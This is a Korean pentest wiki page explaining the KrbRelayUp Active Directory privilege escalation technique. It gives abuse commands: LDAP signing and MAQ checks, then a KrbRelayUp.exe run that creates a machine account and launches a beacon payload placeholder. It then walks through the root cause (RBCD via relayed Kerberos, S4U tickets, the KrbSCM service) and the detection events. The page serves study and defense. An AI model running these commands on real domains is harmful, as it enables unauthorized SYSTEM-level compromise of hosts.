> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/active-directory/krbrelayup.md).

# KrbRelayUp

KrbRelayUp은 AD 환경에서 컴퓨터 계정의 로컬 시스템 권한을 획득하는 권한 상승 기법입니다. LDAP에 대한 서명이 없고 RBCD 구성을 위해 도메인 컴퓨터 계정을 장악했거나, MAQ 값이 1 이상인 경우 모든 환경에서 사용 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># ldap 서명 확인
</strong>nxc ldap contoso.com -u Mick3y -p 'Password123!' -M ldap-checker

<strong># MAQ 값 확인
</strong>nxc ldap contoso.com -u Mick3y -p 'Password123!' -M maq

<strong># KrbRelayUp
</strong>.\KrbRelayUp.exe full -Domain contoso.com --CreateNewComputerAccount --ComputerName KrbRelayUp$ --ComputerPassword Password123! --sc &#x3C;Beacon Payload Path>
</code></pre>

## Root Cause

KrbRelayUp이 실행되면 가장 먼저 현재 시스템에서 COM 서버를 생성하여 System 계정의 인증을 강제합니다. 이 과정은 로컬에서 이뤄지기 때문에 모든 로그인 로그를 나타내는 4624 이벤트로 확인이 가능합니다.

<figure><img src="/files/b4O8JoJP5Koj1eOMkMyc" alt=""><figcaption><p>4624 이벤트</p></figcaption></figure>

컴퓨터 계정의 RBCD 구성을 변경하기 위해서는 LDAP 요청을 해야하고, 이는 LDAP에 인증할 수 있어야 하는 것을 의미합니다. 현재 낮은 권한의 도메인 권한으로 컴퓨터 계정의 패스워드나 NT 해시를 알 수 있는 방법은 없지만 강제 인증을 통해 얻은 TGT로 LDAP 인증을 수행할 수 있습니다.

<figure><img src="/files/zdsd313HKy537s5dURbM" alt=""><figcaption><p>컴퓨터 계정의 TGT를 이용하여 LDAP 인증 요청</p></figcaption></figure>

bindRequest를 통해 LDAP에 인증한 이후에는 modifyRequest를 통해 RBCD 구성 정보를 변경합니다.

<figure><img src="/files/bw2VxecXl6hyKyBnlY2m" alt=""><figcaption><p>RBCD 구성 요청</p></figcaption></figure>

RBCD 구성에서 AttributeValue는 SID 정보 등을 이진으로 구성하기 때문에 이를 복구했을 때, 위임하려는 대상의 SID가 나오게 됩니다. 이진 값 중에서 SID를 구하기 위해 다음 코드를 사용할 수 있습니다.

{% code title="SID 추출 코드" %}

```python
import struct
import argparse

def parse_sid(data):
    sid_start = data.find(b'\x01\x05\x00\x00\x00\x00\x00\x05')
    if sid_start == -1:
        raise ValueError("SID not found in data")

    revision = data[sid_start]
    sub_authority_count = data[sid_start + 1]
    identifier_authority = int.from_bytes(data[sid_start + 2:sid_start + 8], byteorder='big')

    sub_authorities = []
    for i in range(sub_authority_count):
        start = sid_start + 8 + i * 4
        sub_auth = struct.unpack('<I', data[start:start + 4])[0]
        sub_authorities.append(str(sub_auth))

    sid_string = f"S-{revision}-{identifier_authority}-" + "-".join(sub_authorities)
    return sid_string

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Extract SID from msDS-AllowedToActOnBehalfOfOtherIdentity attribute value.")
    parser.add_argument('--value', required=True, help='Hex-encoded binary value of the attribute')
    args = parser.parse_args()

    try:
        binary_data = bytes.fromhex(args.value)
        sid = parse_sid(binary_data)
        print("Extracted SID:", sid)
    except Exception as e:
        print("Error:", str(e))

```

{% endcode %}

<figure><img src="/files/Rt8N43qJtVVZNEGUXQzz" alt=""><figcaption><p>SID를 sAMAccountName 값으로 변경</p></figcaption></figure>

AD01$ 컴퓨터의 위임 구성 덕분에 KrbRelayUp$ 계정은 자유롭게 AD01$ 계정이 실행하는 서비스들에 대해 다른 사용자를 가장하여 티켓을 발급할 수 있지만 직접적으로 다른 사용자를 가장한 서비스 티켓 발급 요청은 공격적 행위라고 여겨 차단합니다.&#x20;

이를 우회하는 방법으로는 위임 구성된 주체(KrbRelayUp$)의 기본 SPN에 대해 다른 사용자(Administrator)가 티켓을 요청한 것처럼 하여 서비스 티켓을 만든 후, 이 티켓을 바탕으로 AD01$의 서비스에 Administrator 권한으로 서비스 티켓을 요청하면 해당 유저에 대한 권한을 PAC에 저장한 서비스 티켓이 발급됩니다.

<div><figure><img src="/files/xkAdy736ilS44Rft2ILq" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/Zzclu1X6QXCn90QejDwR" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

현재 KrbRelayUp$의 서비스인 KrbRelayUp$에 대해 Administrator가 티켓을 요청한 것처럼 위장하여 서비스 티켓을 발급받았습니다. sname-string 값은 cname-string과 구조가 동일하기 때문에 SPN을 소유한 객체라면 sAMAccountName 값만 넣어도 티켓은 정상적으로 발행됩니다.

<div><figure><img src="/files/98VPEUVfQFf6nUbtxuuF" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/0UtBAbOCeAUVFdiBojp0" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

CreateService와 StartService는 내부적으로 HOST 서비스를 요청하는데, 시스템 권한의 행위를 위해서는 서비스를 생성하여 바이너리 경로에 악성 파일을 삽입한 뒤 실행해야 합니다. 기존의 서비스 가용성에 지장을 주지 않기 위해서는 새로운 서비스를 생성/실행해야 하는데, 이를 위해 HOST 서비스 티켓을 Administrator 권한으로 발급 받습니다.

이렇게 생성한 서비스는 시스템 7045 이벤트를 남깁니다. 기본적으로 KrbRelayUp은 KrbSCM이라는 서비스를 생성하기 때문에 이러한 시그니처 코드를 솔루션에서 탐지하기도 합니다.

<figure><img src="/files/F0dWMqCJoXZRxkhybQAH" alt=""><figcaption><p>7045 이벤트</p></figcaption></figure>

KrbSCM 서비스는 생성 직후 삭제되기 분석을 위해 Sysmon.exe를 사용합니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># sysmon 설치
</strong>.\sysmon.exe -i sysmonconfig.xml -accepteula

<strong># KrbRelayUp 실행 이후 로그 분석
</strong>Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | Where-Object { $_.Message -like '*KrbRelayUp.exe*' } | Format-List TimeCreated, Message
</code></pre>

<figure><img src="/files/fczJZkGTZclB6baOkgy7" alt=""><figcaption><p>KrbSCM 서비스 로그</p></figcaption></figure>

KrbSCM 서비스는 IntergrityLevel이 System 수준이며, KrbRelayUp.exe를 실행합니다. 그리고 이 실행 파일은 cmd.exe를 자식 프로세스로 실행하기 때문에 결과적으로 cmd.exe가 로컬 시스템 권한으로 실행됩니다.

{% embed url="<https://github.com/Dec0ne/KrbRelayUp>" %}

## References

{% embed url="<https://dan-feliciano.com/2024/08/02/bruno/>" %}

{% embed url="<https://www.bleepingcomputer.com/news/security/microsoft-shares-mitigation-for-windows-krbrelayup-lpe-attacks/>" %}

{% embed url="<https://wwwgeneral.github.io/posts/from-unprivileged-user-to-system-krbrelayup/>" %}
